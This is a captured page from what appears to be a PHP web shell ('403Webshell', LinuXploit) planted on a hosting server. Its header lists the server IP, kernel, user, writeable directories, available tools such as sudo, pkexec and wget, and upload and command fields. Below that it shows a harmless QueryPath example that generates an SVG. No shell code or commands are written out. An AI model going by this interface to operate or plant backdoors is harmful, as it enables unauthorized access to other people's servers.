403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/whale/QueryPath/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/whale/QueryPath/examples/svg.php
<?php
/**
 * Using QueryPath to Generate a Scalable Vector Graphic (SVG).
 *
 * This file contains an example of how QueryPath can be used
 * to generate an SVG image. SVG (Scalable Vector Graphics) is a W3C standard 
 * XML format for creating graphics. You can find out more about it 
 * here: {@link http://www.w3.org/TR/SVG11/}.
 *
 * If you would like to view the SVG file that is created, the file is available
 * at {@link http://querypath.org/svg.php}. (That URL actually runs the script displayed
 * here.)
 *
 * 
 * @author M Butcher <matt@aleph-null.tv>
 * @license LGPL The GNU Lesser GPL (LGPL) or an MIT-like license.
 */
 
require_once '../src/QueryPath/QueryPath.php';

// Let's stub out a basic SVG document.
$svg_stub = '<?xml version="1.0"?>
<svg
   xmlns:svg="http://www.w3.org/2000/svg"
   xmlns="http://www.w3.org/2000/svg"
   xmlns:xlink="http://www.w3.org/1999/xlink"
   version="1.0"
   width="800"
   height="600"
   id="test">
  <desc>Created by QueryPath.</desc>
</svg>';

qp($svg_stub)
  ->attr(array('width' => 800, 'height' => 600))
  ->append('<rect id="first"/><rect id="second"/>')
  ->find('#second')
  ->attr(array('x' => 15, 'y' => 4, 'width' => 40, 'height' => 60, 'fill' => 'red'))
  ->prev()
  ->attr(array('x' => 2, 'y' => 2, 'width' => 40, 'height' => 60, 'fill' => 'navy'))
  ->writeXML();


Youez - 2016 - github.com/yon3zu
LinuXploit